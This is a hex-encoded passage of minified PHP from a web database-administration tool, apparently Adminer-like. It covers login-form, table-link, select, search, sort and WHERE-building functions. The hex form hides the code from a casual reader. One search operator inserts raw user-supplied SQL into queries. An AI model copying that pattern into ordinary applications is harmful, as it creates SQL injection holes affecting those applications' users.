3B 0A 75 73 65 72 6E 61 6D 65 2E 66 6F 72 6D 5B 27 61 75 74 68 5B 64 72
69 76 65 72 5D 27 5D 2E 6F 6E 63 68 61 6E 67 65 28 29 3B 0A 3C 2F 73 63
72 69 70 74 3E 0A 3C 3F 70 68 70 0A 0A 65 63 68 6F 22 3C 70 3E 3C 69 6E
70 75 74 20 74 79 70 65 3D 27 73 75 62 6D 69 74 27 20 76 61 6C 75 65 3D
27 22 2E 27 4C 6F 67 69 6E 27 2E 22 27 3E 5C 6E 22 2C 63 68 65 63 6B 62
6F 78 28 22 61 75 74 68 5B 70 65 72 6D 61 6E 65 6E 74 5D 22 2C 31 2C 24
5F 43 4F 4F 4B 49 45 5B 22 61 64 6D 69 6E 65 72 5F 70 65 72 6D 61 6E 65
6E 74 22 5D 2C 27 50 65 72 6D 61 6E 65 6E 74 20 6C 6F 67 69 6E 27 29 2E
22 5C 6E 22 3B 7D 66 75 6E 63 74 69 6F 6E 0A 6C 6F 67 69 6E 28 24 6A 64
2C 24 6E 65 29 7B 72 65 74 75 72 6E 0A 74 72 75 65 3B 7D 66 75 6E 63 74
69 6F 6E 0A 74 61 62 6C 65 4E 61 6D 65 28 24 79 66 29 7B 72 65 74 75 72
6E 0A 68 28 24 79 66 5B 22 4E 61 6D 65 22 5D 29 3B 7D 66 75 6E 63 74 69
6F 6E 0A 66 69 65 6C 64 4E 61 6D 65 28 24 6D 2C 24 56 64 3D 30 29 7B 72
65 74 75 72 6E 27 3C 73 70 61 6E 20 74 69 74 6C 65 3D 22 27 2E 68 28 24
6D 5B 22 66 75 6C 6C 5F 74 79 70 65 22 5D 29 2E 27 22 3E 27 2E 68 28 24
6D 5B 22 66 69 65 6C 64 22 5D 29 2E 27 3C 2F 73 70 61 6E 3E 27 3B 7D 66
75 6E 63 74 69 6F 6E 0A 73 65 6C 65 63 74 4C 69 6E 6B 73 28 24 79 66 2C
24 50 3D 22 22 29 7B 65 63 68 6F 27 3C 70 20 63 6C 61 73 73 3D 22 74 61
62 73 22 3E 27 3B 24 69 64 3D 61 72 72 61 79 28 22 73 65 6C 65 63 74 22
3D 3E 27 53 65 6C 65 63 74 20 64 61 74 61 27 2C 22 74 61 62 6C 65 22 3D
3E 27 53 68 6F 77 20 73 74 72 75 63 74 75 72 65 27 29 3B 69 66 28 69 73
5F 76 69 65 77 28 24 79 66 29 29 24 69 64 5B 22 76 69 65 77 22 5D 3D 27
41 6C 74 65 72 20 76 69 65 77 27 3B 65 6C 73 65 24 69 64 5B 22 63 72 65
61 74 65 22 5D 3D 27 41 6C 74 65 72 20 74 61 62 6C 65 27 3B 69 66 28 24
50 21 3D 3D 6E 75 6C 6C 29 24 69 64 5B 22 65 64 69 74 22 5D 3D 27 4E 65
77 20 69 74 65 6D 27 3B 66 6F 72 65 61 63 68 28 24 69 64 0A 61 73 24 79
3D 3E 24 58 29 65 63 68 6F 22 20 3C 61 20 68 72 65 66 3D 27 22 2E 68 28
4D 45 29 2E 22 24 79 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 79 66 5B
22 4E 61 6D 65 22 5D 29 2E 28 24 79 3D 3D 22 65 64 69 74 22 3F 24 50 3A
22 22 29 2E 22 27 22 2E 62 6F 6C 64 28 69 73 73 65 74 28 24 5F 47 45 54
5B 24 79 5D 29 29 2E 22 3E 24 58 3C 2F 61 3E 22 3B 65 63 68 6F 22 5C 6E
22 3B 7D 66 75 6E 63 74 69 6F 6E 0A 66 6F 72 65 69 67 6E 4B 65 79 73 28
24 51 29 7B 72 65 74 75 72 6E 0A 66 6F 72 65 69 67 6E 5F 6B 65 79 73 28
24 51 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 62 61 63 6B 77 61 72 64 4B 65
79 73 28 24 51 2C 24 78 66 29 7B 72 65 74 75 72 6E 0A 61 72 72 61 79 28
29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 62 61 63 6B 77 61 72 64 4B 65 79 73
50 72 69 6E 74 28 24 79 61 2C 24 4C 29 7B 7D 66 75 6E 63 74 69 6F 6E 0A
73 65 6C 65 63 74 51 75 65 72 79 28 24 49 29 7B 67 6C 6F 62 61 6C 24 78
2C 24 54 3B 72 65 74 75 72 6E 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D
27 22 2E 68 28 4D 45 29 2E 22 73 71 6C 3D 27 20 6D 65 74 68 6F 64 3D 27
70 6F 73 74 27 3E 3C 70 3E 3C 73 70 61 6E 20 6F 6E 63 6C 69 63 6B 3D 5C
22 72 65 74 75 72 6E 20 21 73 65 6C 65 63 74 45 64 69 74 53 71 6C 28 65
76 65 6E 74 2C 20 74 68 69 73 2C 20 27 22 2E 27 45 78 65 63 75 74 65 27
2E 22 27 29 3B 5C 22 3E 22 2E 22 3C 63 6F 64 65 20 63 6C 61 73 73 3D 27
6A 75 73 68 2D 24 78 27 3E 22 2E 68 28 73 74 72 5F 72 65 70 6C 61 63 65
28 22 5C 6E 22 2C 22 20 22 2C 24 49 29 29 2E 22 3C 2F 63 6F 64 65 3E 22
2E 22 20 3C 61 20 68 72 65 66 3D 27 22 2E 68 28 4D 45 29 2E 22 73 71 6C
3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 49 29 2E 22 27 3E 22 2E 27 45
64 69 74 27 2E 22 3C 2F 61 3E 22 2E 22 3C 2F 73 70 61 6E 3E 3C 69 6E 70
75 74 20 74 79 70 65 3D 27 68 69 64 64 65 6E 27 20 6E 61 6D 65 3D 27 74
6F 6B 65 6E 27 20 76 61 6C 75 65 3D 27 24 54 27 3E 3C 2F 70 3E 3C 2F 66
6F 72 6D 3E 5C 6E 22 3B 7D 66 75 6E 63 74 69 6F 6E 0A 72 6F 77 44 65 73
63 72 69 70 74 69 6F 6E 28 24 51 29 7B 72 65 74 75 72 6E 22 22 3B 7D 66
75 6E 63 74 69 6F 6E 0A 72 6F 77 44 65 73 63 72 69 70 74 69 6F 6E 73 28
24 4D 2C 24 6E 63 29 7B 72 65 74 75 72 6E 24 4D 3B 7D 66 75 6E 63 74 69
6F 6E 0A 73 65 6C 65 63 74 4C 69 6E 6B 28 24 58 2C 24 6D 29 7B 7D 66 75
6E 63 74 69 6F 6E 0A 73 65 6C 65 63 74 56 61 6C 28 24 58 2C 24 5F 2C 24
6D 29 7B 24 4B 3D 28 24 58 3D 3D 3D 6E 75 6C 6C 3F 22 3C 69 3E 4E 55 4C
4C 3C 2F 69 3E 22 3A 28 65 72 65 67 28 22 63 68 61 72 7C 62 69 6E 61 72
79 22 2C 24 6D 5B 22 74 79 70 65 22 5D 29 26 26 21 65 72 65 67 28 22 76
61 72 22 2C 24 6D 5B 22 74 79 70 65 22 5D 29 3F 22 3C 63 6F 64 65 3E 24
58 3C 2F 63 6F 64 65 3E 22 3A 24 58 29 29 3B 69 66 28 65 72 65 67 28 27
62 6C 6F 62 7C 62 79 74 65 61 7C 72 61 77 7C 66 69 6C 65 27 2C 24 6D 5B
22 74 79 70 65 22 5D 29 26 26 21 69 73 5F 75 74 66 38 28 24 58 29 29 24
4B 3D 6C 61 6E 67 28 61 72 72 61 79 28 27 25 64 20 62 79 74 65 27 2C 27
25 64 20 62 79 74 65 73 27 29 2C 73 74 72 6C 65 6E 28 68 74 6D 6C 5F 65
6E 74 69 74 79 5F 64 65 63 6F 64 65 28 24 58 2C 45 4E 54 5F 51 55 4F 54
45 53 29 29 29 3B 72 65 74 75 72 6E 28 24 5F 3F 22 3C 61 20 68 72 65 66
3D 27 22 2E 68 28 24 5F 29 2E 22 27 3E 24 4B 3C 2F 61 3E 22 3A 24 4B 29
3B 7D 66 75 6E 63 74 69 6F 6E 0A 65 64 69 74 56 61 6C 28 24 58 2C 24 6D
29 7B 72 65 74 75 72 6E 24 58 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65 6C
65 63 74 43 6F 6C 75 6D 6E 73 50 72 69 6E 74 28 24 4E 2C 24 66 29 7B 67
6C 6F 62 61 6C 24 76 63 2C 24 7A 63 3B 70 72 69 6E 74 5F 66 69 65 6C 64
73 65 74 28 22 73 65 6C 65 63 74 22 2C 27 53 65 6C 65 63 74 27 2C 24 4E
29 3B 24 73 3D 30 3B 24 74 63 3D 61 72 72 61 79 28 27 46 75 6E 63 74 69
6F 6E 73 27 3D 3E 24 76 63 2C 27 41 67 67 72 65 67 61 74 69 6F 6E 27 3D
3E 24 7A 63 29 3B 66 6F 72 65 61 63 68 28 24 4E 0A 61 73 24 79 3D 3E 24
58 29 7B 24 58 3D 24 5F 47 45 54 5B 22 63 6F 6C 75 6D 6E 73 22 5D 5B 24
79 5D 3B 65 63 68 6F 22 3C 64 69 76 3E 22 2E 68 74 6D 6C 5F 73 65 6C 65
63 74 28 22 63 6F 6C 75 6D 6E 73 5B 24 73 5D 5B 66 75 6E 5D 22 2C 61 72
72 61 79 28 2D 31 3D 3E 22 22 29 2B 24 74 63 2C 24 58 5B 22 66 75 6E 22
5D 29 2C 22 28 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 27 63 6F 6C 75 6D
6E 73 5B 24 73 5D 5B 63 6F 6C 5D 27 20 6F 6E 63 68 61 6E 67 65 3D 27 73
65 6C 65 63 74 46 69 65 6C 64 43 68 61 6E 67 65 28 74 68 69 73 2E 66 6F
72 6D 29 3B 27 3E 3C 6F 70 74 69 6F 6E 3E 22 2E 6F 70 74 69 6F 6E 6C 69
73 74 28 24 66 2C 24 58 5B 22 63 6F 6C 22 5D 2C 74 72 75 65 29 2E 22 3C
2F 73 65 6C 65 63 74 3E 29 3C 2F 64 69 76 3E 5C 6E 22 3B 24 73 2B 2B 3B
7D 65 63 68 6F 22 3C 64 69 76 3E 22 2E 68 74 6D 6C 5F 73 65 6C 65 63 74
28 22 63 6F 6C 75 6D 6E 73 5B 24 73 5D 5B 66 75 6E 5D 22 2C 61 72 72 61
79 28 2D 31 3D 3E 22 22 29 2B 24 74 63 2C 22 22 2C 22 74 68 69 73 2E 6E
65 78 74 53 69 62 6C 69 6E 67 2E 6E 65 78 74 53 69 62 6C 69 6E 67 2E 6F
6E 63 68 61 6E 67 65 28 29 3B 22 29 2C 22 28 3C 73 65 6C 65 63 74 20 6E
61 6D 65 3D 27 63 6F 6C 75 6D 6E 73 5B 24 73 5D 5B 63 6F 6C 5D 27 20 6F
6E 63 68 61 6E 67 65 3D 27 73 65 6C 65 63 74 41 64 64 52 6F 77 28 74 68
69 73 29 3B 27 3E 3C 6F 70 74 69 6F 6E 3E 22 2E 6F 70 74 69 6F 6E 6C 69
73 74 28 24 66 2C 6E 75 6C 6C 2C 74 72 75 65 29 2E 22 3C 2F 73 65 6C 65
63 74 3E 29 3C 2F 64 69 76 3E 5C 6E 22 2C 22 3C 2F 64 69 76 3E 3C 2F 66
69 65 6C 64 73 65 74 3E 5C 6E 22 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65
6C 65 63 74 53 65 61 72 63 68 50 72 69 6E 74 28 24 5A 2C 24 66 2C 24 76
29 7B 70 72 69 6E 74 5F 66 69 65 6C 64 73 65 74 28 22 73 65 61 72 63 68
22 2C 27 53 65 61 72 63 68 27 2C 24 5A 29 3B 66 6F 72 65 61 63 68 28 24
76 0A 61 73 24 73 3D 3E 24 75 29 7B 69 66 28 24 75 5B 22 74 79 70 65 22
5D 3D 3D 22 46 55 4C 4C 54 45 58 54 22 29 7B 65 63 68 6F 22 28 3C 69 3E
22 2E 69 6D 70 6C 6F 64 65 28 22 3C 2F 69 3E 2C 20 3C 69 3E 22 2C 61 72
72 61 79 5F 6D 61 70 28 27 68 27 2C 24 75 5B 22 63 6F 6C 75 6D 6E 73 22
5D 29 29 2E 22 3C 2F 69 3E 29 20 41 47 41 49 4E 53 54 22 2C 22 20 3C 69
6E 70 75 74 20 74 79 70 65 3D 27 73 65 61 72 63 68 27 20 6E 61 6D 65 3D
27 66 75 6C 6C 74 65 78 74 5B 24 73 5D 27 20 76 61 6C 75 65 3D 27 22 2E
68 28 24 5F 47 45 54 5B 22 66 75 6C 6C 74 65 78 74 22 5D 5B 24 73 5D 29
2E 22 27 20 6F 6E 63 68 61 6E 67 65 3D 27 73 65 6C 65 63 74 46 69 65 6C
64 43 68 61 6E 67 65 28 74 68 69 73 2E 66 6F 72 6D 29 3B 27 3E 22 2C 63
68 65 63 6B 62 6F 78 28 22 62 6F 6F 6C 65 61 6E 5B 24 73 5D 22 2C 31 2C
69 73 73 65 74 28 24 5F 47 45 54 5B 22 62 6F 6F 6C 65 61 6E 22 5D 5B 24
73 5D 29 2C 22 42 4F 4F 4C 22 29 2C 22 3C 62 72 3E 5C 6E 22 3B 7D 7D 24
5F 47 45 54 5B 22 77 68 65 72 65 22 5D 3D 28 61 72 72 61 79 29 24 5F 47
45 54 5B 22 77 68 65 72 65 22 5D 3B 72 65 73 65 74 28 24 5F 47 45 54 5B
22 77 68 65 72 65 22 5D 29 3B 24 48 61 3D 22 74 68 69 73 2E 6E 65 78 74
53 69 62 6C 69 6E 67 2E 6F 6E 63 68 61 6E 67 65 28 29 3B 22 3B 66 6F 72
28 24 73 3D 30 3B 24 73 3C 3D 63 6F 75 6E 74 28 24 5F 47 45 54 5B 22 77
68 65 72 65 22 5D 29 3B 24 73 2B 2B 29 7B 6C 69 73 74 28 2C 24 58 29 3D
65 61 63 68 28 24 5F 47 45 54 5B 22 77 68 65 72 65 22 5D 29 3B 69 66 28
21 24 58 7C 7C 28 22 24 58 5B 63 6F 6C 5D 24 58 5B 76 61 6C 5D 22 21 3D
22 22 26 26 69 6E 5F 61 72 72 61 79 28 24 58 5B 22 6F 70 22 5D 2C 24 74
68 69 73 2D 3E 6F 70 65 72 61 74 6F 72 73 29 29 29 7B 65 63 68 6F 22 3C
64 69 76 3E 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 27 77 68 65 72 65 5B
24 73 5D 5B 63 6F 6C 5D 27 20 6F 6E 63 68 61 6E 67 65 3D 27 24 48 61 27
3E 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 27 27 3E 28 22 2E 27 61 6E
79 77 68 65 72 65 27 2E 22 29 22 2E 6F 70 74 69 6F 6E 6C 69 73 74 28 24
66 2C 24 58 5B 22 63 6F 6C 22 5D 2C 74 72 75 65 29 2E 22 3C 2F 73 65 6C
65 63 74 3E 22 2C 68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 77 68 65 72 65
5B 24 73 5D 5B 6F 70 5D 22 2C 24 74 68 69 73 2D 3E 6F 70 65 72 61 74 6F
72 73 2C 24 58 5B 22 6F 70 22 5D 2C 24 48 61 29 2C 22 3C 69 6E 70 75 74
20 74 79 70 65 3D 27 73 65 61 72 63 68 27 20 6E 61 6D 65 3D 27 77 68 65
72 65 5B 24 73 5D 5B 76 61 6C 5D 27 20 76 61 6C 75 65 3D 27 22 2E 68 28
24 58 5B 22 76 61 6C 22 5D 29 2E 22 27 20 6F 6E 63 68 61 6E 67 65 3D 27
22 2E 28 24 58 3F 22 73 65 6C 65 63 74 46 69 65 6C 64 43 68 61 6E 67 65
28 74 68 69 73 2E 66 6F 72 6D 29 22 3A 22 73 65 6C 65 63 74 41 64 64 52
6F 77 28 74 68 69 73 29 22 29 2E 22 3B 27 20 6F 6E 73 65 61 72 63 68 3D
27 73 65 6C 65 63 74 53 65 61 72 63 68 53 65 61 72 63 68 28 74 68 69 73
29 3B 27 3E 3C 2F 64 69 76 3E 5C 6E 22 3B 7D 7D 65 63 68 6F 22 3C 2F 64
69 76 3E 3C 2F 66 69 65 6C 64 73 65 74 3E 5C 6E 22 3B 7D 66 75 6E 63 74
69 6F 6E 0A 73 65 6C 65 63 74 4F 72 64 65 72 50 72 69 6E 74 28 24 56 64
2C 24 66 2C 24 76 29 7B 70 72 69 6E 74 5F 66 69 65 6C 64 73 65 74 28 22
73 6F 72 74 22 2C 27 53 6F 72 74 27 2C 24 56 64 29 3B 24 73 3D 30 3B 66
6F 72 65 61 63 68 28 28 61 72 72 61 79 29 24 5F 47 45 54 5B 22 6F 72 64
65 72 22 5D 61 73 24 79 3D 3E 24 58 29 7B 69 66 28 69 73 73 65 74 28 24
66 5B 24 58 5D 29 29 7B 65 63 68 6F 22 3C 64 69 76 3E 3C 73 65 6C 65 63
74 20 6E 61 6D 65 3D 27 6F 72 64 65 72 5B 24 73 5D 27 20 6F 6E 63 68 61
6E 67 65 3D 27 73 65 6C 65 63 74 46 69 65 6C 64 43 68 61 6E 67 65 28 74
68 69 73 2E 66 6F 72 6D 29 3B 27 3E 3C 6F 70 74 69 6F 6E 3E 22 2E 6F 70
74 69 6F 6E 6C 69 73 74 28 24 66 2C 24 58 2C 74 72 75 65 29 2E 22 3C 2F
73 65 6C 65 63 74 3E 22 2C 63 68 65 63 6B 62 6F 78 28 22 64 65 73 63 5B
24 73 5D 22 2C 31 2C 69 73 73 65 74 28 24 5F 47 45 54 5B 22 64 65 73 63
22 5D 5B 24 79 5D 29 2C 27 64 65 73 63 65 6E 64 69 6E 67 27 29 2E 22 3C
2F 64 69 76 3E 5C 6E 22 3B 24 73 2B 2B 3B 7D 7D 65 63 68 6F 22 3C 64 69
76 3E 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 27 6F 72 64 65 72 5B 24 73
5D 27 20 6F 6E 63 68 61 6E 67 65 3D 27 73 65 6C 65 63 74 41 64 64 52 6F
77 28 74 68 69 73 29 3B 27 3E 3C 6F 70 74 69 6F 6E 3E 22 2E 6F 70 74 69
6F 6E 6C 69 73 74 28 24 66 2C 6E 75 6C 6C 2C 74 72 75 65 29 2E 22 3C 2F
73 65 6C 65 63 74 3E 22 2C 63 68 65 63 6B 62 6F 78 28 22 64 65 73 63 5B
24 73 5D 22 2C 31 2C 66 61 6C 73 65 2C 27 64 65 73 63 65 6E 64 69 6E 67
27 29 2E 22 3C 2F 64 69 76 3E 5C 6E 22 2C 22 3C 2F 64 69 76 3E 3C 2F 66
69 65 6C 64 73 65 74 3E 5C 6E 22 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65
6C 65 63 74 4C 69 6D 69 74 50 72 69 6E 74 28 24 7A 29 7B 65 63 68 6F 22
3C 66 69 65 6C 64 73 65 74 3E 3C 6C 65 67 65 6E 64 3E 22 2E 27 4C 69 6D
69 74 27 2E 22 3C 2F 6C 65 67 65 6E 64 3E 3C 64 69 76 3E 22 3B 65 63 68
6F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 6E 75 6D 62 65 72 27 20 6E
61 6D 65 3D 27 6C 69 6D 69 74 27 20 63 6C 61 73 73 3D 27 73 69 7A 65 27
20 76 61 6C 75 65 3D 27 22 2E 68 28 24 7A 29 2E 22 27 20 6F 6E 63 68 61
6E 67 65 3D 27 73 65 6C 65 63 74 46 69 65 6C 64 43 68 61 6E 67 65 28 74
68 69 73 2E 66 6F 72 6D 29 3B 27 3E 22 2C 22 3C 2F 64 69 76 3E 3C 2F 66
69 65 6C 64 73 65 74 3E 5C 6E 22 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65
6C 65 63 74 4C 65 6E 67 74 68 50 72 69 6E 74 28 24 4A 66 29 7B 69 66 28
24 4A 66 21 3D 3D 6E 75 6C 6C 29 7B 65 63 68 6F 22 3C 66 69 65 6C 64 73
65 74 3E 3C 6C 65 67 65 6E 64 3E 22 2E 27 54 65 78 74 20 6C 65 6E 67 74
68 27 2E 22 3C 2F 6C 65 67 65 6E 64 3E 3C 64 69 76 3E 22 2C 22 3C 69 6E
70 75 74 20 74 79 70 65 3D 27 6E 75 6D 62 65 72 27 20 6E 61 6D 65 3D 27
74 65 78 74 5F 6C 65 6E 67 74 68 27 20 63 6C 61 73 73 3D 27 73 69 7A 65
27 20 76 61 6C 75 65 3D 27 22 2E 68 28 24 4A 66 29 2E 22 27 3E 22 2C 22
3C 2F 64 69 76 3E 3C 2F 66 69 65 6C 64 73 65 74 3E 5C 6E 22 3B 7D 7D 66
75 6E 63 74 69 6F 6E 0A 73 65 6C 65 63 74 41 63 74 69 6F 6E 50 72 69 6E
74 28 24 76 29 7B 65 63 68 6F 22 3C 66 69 65 6C 64 73 65 74 3E 3C 6C 65
67 65 6E 64 3E 22 2E 27 41 63 74 69 6F 6E 27 2E 22 3C 2F 6C 65 67 65 6E
64 3E 3C 64 69 76 3E 22 2C 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73
75 62 6D 69 74 27 20 76 61 6C 75 65 3D 27 22 2E 27 53 65 6C 65 63 74 27
2E 22 27 3E 22 2C 22 20 3C 73 70 61 6E 20 69 64 3D 27 6E 6F 69 6E 64 65
78 27 20 74 69 74 6C 65 3D 27 22 2E 27 46 75 6C 6C 20 74 61 62 6C 65 20
73 63 61 6E 27 2E 22 27 3E 3C 2F 73 70 61 6E 3E 22 2C 22 3C 73 63 72 69
70 74 20 74 79 70 65 3D 27 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74
27 3E 5C 6E 22 2C 22 76 61 72 20 69 6E 64 65 78 43 6F 6C 75 6D 6E 73 20
3D 20 22 3B 24 66 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24
76 0A 61 73 24 75 29 7B 69 66 28 24 75 5B 22 74 79 70 65 22 5D 21 3D 22
46 55 4C 4C 54 45 58 54 22 29 24 66 5B 72 65 73 65 74 28 24 75 5B 22 63
6F 6C 75 6D 6E 73 22 5D 29 5D 3D 31 3B 7D 24 66 5B 22 22 5D 3D 31 3B 66
6F 72 65 61 63 68 28 24 66 0A 61 73 24 79 3D 3E 24 58 29 6A 73 6F 6E 5F
72 6F 77 28 24 79 29 3B 65 63 68 6F 22 3B 5C 6E 22 2C 22 73 65 6C 65 63
74 46 69 65 6C 64 43 68 61 6E 67 65 28 64 6F 63 75 6D 65 6E 74 2E 67 65
74 45 6C 65 6D 65 6E 74 42 79 49 64 28 27 66 6F 72 6D 27 29 29 3B 5C 6E
22 2C 22 3C 2F 73 63 72 69 70 74 3E 5C 6E 22 2C 22 3C 2F 64 69 76 3E 3C
2F 66 69 65 6C 64 73 65 74 3E 5C 6E 22 3B 7D 66 75 6E 63 74 69 6F 6E 0A
73 65 6C 65 63 74 43 6F 6D 6D 61 6E 64 50 72 69 6E 74 28 29 7B 72 65 74
75 72 6E 21 69 6E 66 6F 72 6D 61 74 69 6F 6E 5F 73 63 68 65 6D 61 28 44
42 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65 6C 65 63 74 49 6D 70 6F 72
74 50 72 69 6E 74 28 29 7B 72 65 74 75 72 6E 21 69 6E 66 6F 72 6D 61 74
69 6F 6E 5F 73 63 68 65 6D 61 28 44 42 29 3B 7D 66 75 6E 63 74 69 6F 6E
0A 73 65 6C 65 63 74 45 6D 61 69 6C 50 72 69 6E 74 28 24 4A 62 2C 24 66
29 7B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65 6C 65 63 74 43 6F 6C 75 6D 6E
73 50 72 6F 63 65 73 73 28 24 66 2C 24 76 29 7B 67 6C 6F 62 61 6C 24 76
63 2C 24 7A 63 3B 24 4E 3D 61 72 72 61 79 28 29 3B 24 78 63 3D 61 72 72
61 79 28 29 3B 66 6F 72 65 61 63 68 28 28 61 72 72 61 79 29 24 5F 47 45
54 5B 22 63 6F 6C 75 6D 6E 73 22 5D 61 73 24 79 3D 3E 24 58 29 7B 69 66
28 24 58 5B 22 66 75 6E 22 5D 3D 3D 22 63 6F 75 6E 74 22 7C 7C 28 69 73
73 65 74 28 24 66 5B 24 58 5B 22 63 6F 6C 22 5D 5D 29 26 26 28 21 24 58
5B 22 66 75 6E 22 5D 7C 7C 69 6E 5F 61 72 72 61 79 28 24 58 5B 22 66 75
6E 22 5D 2C 24 76 63 29 7C 7C 69 6E 5F 61 72 72 61 79 28 24 58 5B 22 66
75 6E 22 5D 2C 24 7A 63 29 29 29 29 7B 24 4E 5B 24 79 5D 3D 61 70 70 6C
79 5F 73 71 6C 5F 66 75 6E 63 74 69 6F 6E 28 24 58 5B 22 66 75 6E 22 5D
2C 28 69 73 73 65 74 28 24 66 5B 24 58 5B 22 63 6F 6C 22 5D 5D 29 3F 69
64 66 5F 65 73 63 61 70 65 28 24 58 5B 22 63 6F 6C 22 5D 29 3A 22 2A 22
29 29 3B 69 66 28 21 69 6E 5F 61 72 72 61 79 28 24 58 5B 22 66 75 6E 22
5D 2C 24 7A 63 29 29 24 78 63 5B 5D 3D 24 4E 5B 24 79 5D 3B 7D 7D 72 65
74 75 72 6E 0A 61 72 72 61 79 28 24 4E 2C 24 78 63 29 3B 7D 66 75 6E 63
74 69 6F 6E 0A 73 65 6C 65 63 74 53 65 61 72 63 68 50 72 6F 63 65 73 73
28 24 6E 2C 24 76 29 7B 67 6C 6F 62 61 6C 24 78 3B 24 4B 3D 61 72 72 61
79 28 29 3B 66 6F 72 65 61 63 68 28 24 76 0A 61 73 24 73 3D 3E 24 75 29
7B 69 66 28 24 75 5B 22 74 79 70 65 22 5D 3D 3D 22 46 55 4C 4C 54 45 58
54 22 26 26 24 5F 47 45 54 5B 22 66 75 6C 6C 74 65 78 74 22 5D 5B 24 73
5D 21 3D 22 22 29 24 4B 5B 5D 3D 22 4D 41 54 43 48 20 28 22 2E 69 6D 70
6C 6F 64 65 28 22 2C 20 22 2C 61 72 72 61 79 5F 6D 61 70 28 27 69 64 66
5F 65 73 63 61 70 65 27 2C 24 75 5B 22 63 6F 6C 75 6D 6E 73 22 5D 29 29
2E 22 29 20 41 47 41 49 4E 53 54 20 28 22 2E 71 28 24 5F 47 45 54 5B 22
66 75 6C 6C 74 65 78 74 22 5D 5B 24 73 5D 29 2E 28 69 73 73 65 74 28 24
5F 47 45 54 5B 22 62 6F 6F 6C 65 61 6E 22 5D 5B 24 73 5D 29 3F 22 20 49
4E 20 42 4F 4F 4C 45 41 4E 20 4D 4F 44 45 22 3A 22 22 29 2E 22 29 22 3B
7D 66 6F 72 65 61 63 68 28 28 61 72 72 61 79 29 24 5F 47 45 54 5B 22 77
68 65 72 65 22 5D 61 73 24 58 29 7B 69 66 28 22 24 58 5B 63 6F 6C 5D 24
58 5B 76 61 6C 5D 22 21 3D 22 22 26 26 69 6E 5F 61 72 72 61 79 28 24 58
5B 22 6F 70 22 5D 2C 24 74 68 69 73 2D 3E 6F 70 65 72 61 74 6F 72 73 29
29 7B 24 58 61 3D 22 20 24 58 5B 6F 70 5D 22 3B 69 66 28 65 72 65 67 28
27 49 4E 24 27 2C 24 58 5B 22 6F 70 22 5D 29 29 7B 24 49 63 3D 70 72 6F
63 65 73 73 5F 6C 65 6E 67 74 68 28 24 58 5B 22 76 61 6C 22 5D 29 3B 24
58 61 2E 3D 22 20 28 22 2E 28 24 49 63 21 3D 22 22 3F 24 49 63 3A 22 4E
55 4C 4C 22 29 2E 22 29 22 3B 7D 65 6C 73 65 69 66 28 24 58 5B 22 6F 70
22 5D 3D 3D 22 53 51 4C 22 29 24 58 61 3D 22 20 24 58 5B 76 61 6C 5D 22
3B 65 6C 73 65 69 66 28 24 58 5B 22 6F 70 22 5D 3D 3D 22 4C 49 4B 45 20
25 25 22 29 24 58 61 3D 22 20 4C 49 4B 45 20 22 2E 24 74 68 69 73 2D 3E
70 72 6F 63 65 73 73 49 6E 70 75 74 28 24 6E 5B 24 58 5B 22 63 6F 6C 22
5D 5D 2C 22 25 24 58 5B 76 61 6C 5D 25 22 29 3B 65 6C 73 65 69 66 28 21
65 72 65 67 28 27 4E 55 4C 4C 24 27 2C 24 58 5B 22 6F 70 22 5D 29 29 24
58 61 2E 3D 22 20 22 2E 24 74 68 69 73 2D 3E 70 72 6F 63 65 73 73 49 6E
70 75 74 28 24 6E 5B 24 58 5B 22 63 6F 6C 22 5D 5D 2C 24 58 5B 22 76 61
6C 22 5D 29 3B 69 66 28 24 58 5B 22 63 6F 6C 22 5D 21 3D 22 22 29 24 4B
5B 5D 3D 69 64 66 5F 65 73 63 61 70 65 28 24 58 5B 22 63 6F 6C 22 5D 29
2E 24 58 61 3B 65 6C 73 65 7B 24 53 61 3D 61 72 72 61 79 28 29 3B 66 6F
72 65 61 63 68 28 24 6E 0A 61 73 24 45 3D 3E 24 6D 29 7B 24 52 63 3D 65
72 65 67 28 27 63 68 61 72 7C 74 65 78 74 7C 65 6E 75 6D 7C 73 65 74 27
2C 24 6D 5B 22 74 79 70 65 22 5D 29 3B 69 66 28 28 69 73 5F 6E 75 6D 65
72 69 63 28 24 58 5B 22 76 61 6C 22 5D 29 7C 7C 21 65 72 65 67 28 27 28
5E 7C 5B 5E 6F 5D 29 69 6E 74 7C 66 6C 6F 61 74 7C 64 6F 75 62 6C 65 7C
64 65 63 69 6D 61 6C 7C 62 69 74 27 2C 24 6D 5B 22 74 79 70 65 22 5D 29
29 26 26 28 21 65 72 65 67 28 22 5B 5C 78 38 30 2D 5C 78 46 46 5D 22 2C
24 58 5B 22 76 61 6C 22 5D 29 7C 7C 24 52 63 29 29 7B 24 45 3D 69 64 66
5F 65 73 63 61 70 65 28 24 45 29 3B 24 53 61 5B 5D 3D 28 24 78 3D 3D 22
73 71 6C 22 26 26 24 52 63 26 26 21 65 72 65 67 28 27 5E 75 74 66 38 27
2C 24 6D 5B 22 63 6F 6C 6C 61 74 69 6F 6E 22 5D 29 3F 22 43 4F 4E 56 45
52 54 28 24 45 20 55 53 49 4E 47 20 75 74 66 38 29 22 3A 24 45 29 3B 7D
7D 24 4B 5B 5D 3D 28 24 53 61 3F 22 28 22 2E 69 6D 70 6C 6F 64 65 28 22
24 58 61 20 4F 52 20 22 2C 24 53 61 29 2E 22 24 58 61 29 22 3A 22 30 22
29 3B 7D 7D 7D 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A
